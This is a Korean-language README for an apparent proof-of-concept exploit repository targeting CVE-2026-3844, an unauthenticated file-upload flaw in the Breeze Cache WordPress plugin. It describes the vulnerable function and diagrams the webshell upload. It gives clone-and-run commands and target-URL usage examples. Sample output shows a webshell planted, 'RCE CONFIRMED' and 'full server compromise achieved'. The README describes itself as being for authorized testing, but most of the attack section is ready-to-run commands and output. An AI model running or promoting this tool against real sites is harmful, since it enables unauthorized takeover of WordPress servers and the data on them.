
CVE-2026-3844에 대한 PoC 익스플로잇으로, WordPress Breeze 플러그인에서 인증되지 않은 파일 업로드를 허용하여 RCE(원격 코드 실행)로 이어지는 치명적인 취약점입니다.
CVE-2026-3844에 대한 PoC 익스플로잇으로, WordPress Breeze 플러그인에서 원격 코드 실행(RCE)으로 이어지는 치명적인 인증 없는 파일 업로드 취약점입니다.
CVE-2026-3844는 Breeze Cache WordPress 플러그인(Cloudways 제작)의 치명적인(Critical) 인증 없는 임의 파일 업로드 취약점으로, 2.4.4 이하의 모든 버전에 영향을 미칩니다.
이 저장소는 승인된 보안 연구, 침투 테스트 및 책임 있는 공개를 위한 개념 증명(PoC) 익스플로잇(CVE-2026-3844.py)을 제공합니다.
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-3844 |
| 플러그인 | Breeze Cache (Cloudways) |
| 영향받는 버전 | 2.4.4 이하 모든 버전 |
| 패치 버전 | Breeze 2.4.5+ |
| 취약점 유형 | CWE-434 — 위험한 유형의 파일 무제한 업로드 |
| CVSS v3.1 점수 | 9.8 (CRITICAL) |
| CVSS v2.0 점수 | 10.0 (CRITICAL) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공격 경로 | 네트워크 (원격) |
| 인증 필요 | ❌ 없음 — 인증 불필요 |
| 조건 | "Host Files Locally – Gravatars"가 활성화되어 있어야 함 (기본값은 비활성화) |
| 영향 | 기밀성: 높음 · 무결성: 높음 · 가용성: 높음 |
| 공개일 | 2026-04-23 |
| 출처 | Wordfence / NVD / MITRE |
| PoC | Tausif Zaman |
WordPress용 Breeze Cache 플러그인은 "Host Files Locally – Gravatars" 기능이 활성화되면 원격 Gravatar 이미지를 가져와 로컬에 저장합니다. class-breeze-cache-cronjobs.php(89~119행)의 취약한 함수 fetch_gravatar_from_remote는 가져온 원격 콘텐츠에 대해 파일 유형 또는 확장자 검증을 전혀 수행하지 않습니다.
class-breeze-cache-cronjobs.php
└── fetch_gravatar_from_remote() ← ❌ No file type validation
└── Saves remote content directly to disk
└── Attacker controls → uploads .php webshell → RCE
Attacker (Unauthenticated)
│
▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
│
▼
Plugin fetches & saves the .php file without validation
│
▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
│
▼
Attacker accesses webshell → Full RCE achieved
성공적으로 악용될 경우 공격자는 다음을 수행할 수 있습니다:
requests 라이브러리# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py
# Navigate into the directory
cd CVE-2026-3844
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py
pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
python3 CVE-2026-3844.py
usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]
CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC
optional arguments:
-h, --help Show this help message and exit
-u URL, --url URL Target URL (e.g. https://target.com)
-t TIMEOUT Request timeout in seconds (default: 10)
-o OUTPUT Save webshell path to output file
-v, --verbose Enable verbose/debug output
# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com
# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v
# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v
╔══════════════════════════════════════════════════════╗
║ CVE-2026-3844 | Breeze Cache WP RCE ║
║ Researcher: tausifzaman.online ║
╚══════════════════════════════════════════════════════╝
[*] Target : https://vulnerable-site.com
[*] CVE : CVE-2026-3844
[*] Plugin : Breeze Cache ≤ 2.4.4
[*] Type : Unauthenticated Arbitrary File Upload → RCE
[*] Checking target...
[+] Breeze Cache plugin detected!
[+] "Host Files Locally – Gravatars" is ENABLED
[*] Uploading PHP webshell via fetch_gravatar_from_remote...
[+] File uploaded successfully!
[+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
[*] Verifying RCE...
[+] RCE CONFIRMED!
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Full server compromise achieved.
[*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.